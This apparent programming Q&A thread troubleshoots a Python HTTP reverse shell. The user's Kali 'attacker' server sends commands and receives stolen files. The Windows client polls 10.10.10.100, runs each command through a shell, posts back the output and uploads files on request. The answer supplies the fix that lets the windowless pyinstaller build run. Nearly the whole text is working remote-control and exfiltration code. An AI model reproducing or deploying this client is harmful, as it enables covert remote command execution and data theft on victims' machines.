从exe运行时，Python http反向Shell客户端崩溃

Question

I am fairly new to programming with python, and was able to get the code to work when running the script from the interpreter. However, when i use pyinstaller to create a windowless single file executable it crashes when i send the client a simple command such as dir. The server side runs on a Kali VM and the client runs from a Windows VM.

I was hoping someone might be able to see something i am missing that would cause the client to crash when run from an exe but works fine from the interpreter.

Server Code:

from http.server import BaseHTTPRequestHandler, HTTPServer

import os, cgi

hostname = "10.10.10.100" #Host(attacker) IP address
port = 80 #Listening port number

class MyHandler(BaseHTTPRequestHandler):

    def do_GET(self):

        command = input("Shell> ") #get command input

        self.send_response(200) #send OK message
        self.send_header("Content-type", "text/html")
        self.end_headers()
        self.wfile.write(command.encode()) #send command to client

    def do_POST(self):

        if self.path == "/store": #Check for /store in URL signalling a file transfer
            try:

                ctype, pdict = cgi.parse_header(self.headers["content-type"])

                if ctype == "multipart/form-data":

                    fs = cgi.FieldStorage(fp = self.rfile, headers = self.headers, environ ={"REQUEST_METHOD":"POST"})

                else:

                    print("[-] Unexpected POST request")

                fs_up = fs["file"] #Here file is the key to hold the actual file

                with open("/root/Desktop/1.txt", "wb") as tfile: #Create new file and write contents into this file

                    tfile.write(fs_up.file.read())
                    self.send_response(200)
                    self.end_headers()

            except Exception as e:

                print(e)

            return # once we store the received file in our file holder, we exit the function

        self.send_response(200)
        self.end_headers()
        length = int(self.headers["Content-Length"]) #Define the length which means how many bytes the HTTP POST data contains
        postVar = self.rfile.read(length) # Read then print the posted data
        print(postVar.decode())

if __name__ == "__main__":

    server_class = HTTPServer
    myServer = server_class((hostname, port), MyHandler)

    try:

        myServer.serve_forever()

    except KeyboardInterrupt: #if we got ctrl+c we will Interrupt and stop the server

        print("[!] Server terminated")
        myServer.server_close()

Client Code:

import requests #requests library
import subprocess #system operations
import time #time library
import os

while True:

    req = requests.get("http://10.10.10.100")  # This sends get request to the Attacker
    command = req.text # Received text will be saved in command variable

    if "terminate" in command:

        break #terminate connection

    elif "grab" in command:

        grab,path = command.split("*")

        if os.path.exists(path): #check if file exists

            url = "http://10.10.10.100/store" #Append /store in the URL to signal file transfer
            files = {"file": open(path, "rb")} # Add a dictionary key where file will be stored
            r = requests.post(url, files=files) # Send the file

        else:

            post_response = requests.post(url="http://10.10.10.100", data="[-] File not found")

    else: #execute given command

        CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        post_response = requests.post(url="http://10.10.10.100", data=CMD.stdout.read()) # POST the result
        post_response = requests.post(url="http://10.10.10.100", data=CMD.stderr.read()) # POST the error


    time.sleep(3) # create a pause between commands

Answer 1

Finally found a post pointing me in the correct direction. The following line needed to be change from:

CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

To:

CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)